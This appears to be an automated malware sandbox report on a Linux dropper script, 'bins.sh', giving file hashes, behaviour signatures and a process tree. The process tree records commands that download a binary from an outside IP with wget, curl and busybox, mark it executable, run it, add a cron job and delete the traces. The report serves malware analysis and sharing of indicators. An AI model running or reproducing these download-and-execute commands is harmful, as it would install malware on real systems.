Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    29-11-2024 19:02

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    9c78593f3247a81ae638fe8b8463b71e

  • SHA1

    0775065718970d81dc47eeeede73fa2063f74554

  • SHA256

    1ada6782b73be9bad01cc49d5c1a17cddeb96112995fe104e69fcfaff3ff28c8

  • SHA512

    25b0a058e86e6b106a46f84ec8fd78eaefd5f6cf6403a471fdb86cd99470f000a751c45c8c91e6b7f29dee46c38563feb95c7d51b40ebd1438e496a567bdc8fc

  • SSDEEP

    96:kIcMJRrMGOU3by18oiffO9L91wAQaUX2QFZPYAjpF9QQdzllv6XJFZPYA8dgpF9i:hMGOU3b89L9761GOU3bmLp

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:666
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:669
        • /usr/bin/wget
          wget http://216.126.231.240/bins/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • Writes file to tmp directory
          PID:673
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:690
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • Writes file to tmp directory
          PID:697
        • /bin/chmod
          chmod 777 HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • File and Directory Permissions Modification
          PID:699
        • /tmp/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          ./HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:700
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:702
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:703
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:704
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    • Reads runtime system information
                    PID:705
              • /bin/rm
                rm HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
                2⤵
                  PID:707
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
                  2⤵
                    PID:710

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0

                  Filesize

                  177KB

                  MD5

                  786d75a158fe731feca3880f436082c0

                  SHA1

                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                  SHA256

                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                  SHA512

                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                • /var/spool/cron/crontabs/tmp.IigL8Z

                  Filesize

                  210B

                  MD5

                  da1d9eae14b008da4b6c698cee0e141d

                  SHA1

                  6624b507b0d555ac25b51092d7c2cbb511a52e70

                  SHA256

                  a3482cacb1cdf6563775f7e768c867483dfee2da5fbe7f36c091b43598673a52

                  SHA512

                  55fbce63d91c68c6bf9dc099abc5fff2f6c43ac6678ad2eab1912b8b8054ca976ded7187ec2f6979e9644da836668d86f836280735a061b90811c0812fa74fcb